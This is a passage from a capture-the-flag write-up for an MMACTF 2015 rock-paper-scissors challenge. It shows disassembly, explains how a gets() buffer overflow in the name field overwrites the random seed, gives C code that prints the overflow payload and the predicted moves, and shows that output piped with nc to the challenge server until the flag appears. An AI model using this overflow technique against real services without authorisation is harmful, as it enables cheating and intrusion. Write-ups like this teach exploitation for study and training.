The RNG is seeded by a 4-byte value from /dev/urandom. It is kept on the stack at $rbp-0x20:
=> 0x400825 <main+31>: lea rax,[rbp-0x20]
0x400829 <main+35>: mov rcx,rdx
0x40082c <main+38>: mov edx,0x1
0x400831 <main+43>: mov esi,0x4
0x400836 <main+48>: mov rdi,rax
0x400839 <main+51>: call 0x400650 <fread@plt>
=> 0x400868 <main+98>: lea rax,[rbp-0x50]
0x40086c <main+102>: mov rdi,rax
0x40086f <main+105>: call 0x4006d0 <gets@plt>
For example, sending a name string of "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB" will overwrite the seed with a value of 0x42424242.
Knowing all of this, a quick bit of C can be written to provide us with the winning sequence:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
srand(0x42424242);
printf("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB\n");
int i;
for (i = 0; i < 50; i++) {
int throw = rand() % 3;
if (throw == 2) printf("R\n");
if (throw == 1) printf("S\n");
if (throw == 0) printf("P\n");
}
return 0;
}
We can then pipe the output of this program to the game to get the key:
lzlw@dongs:~/demos/mmactf2015/rps$ ./break | nc milkyway.chal.mmactf.link 1641
What's your name: Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Let's janken
Game 1/50
Rock? Paper? Scissors? [RPS]Rock-Scissors
You win!!
Game 2/50
Rock? Paper? Scissors? [RPS]Rock-Scissors
You win!!
Game 3/50
Rock? Paper? Scissors? [RPS]Scissors-Paper
You win!!
[...]
Game 49/50
Rock? Paper? Scissors? [RPS]Paper-Rock
You win!!
Game 50/50
Rock? Paper? Scissors? [RPS]Scissors-Paper
You win!!
Congrats AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB !!!!
MMA{treed_three_girls}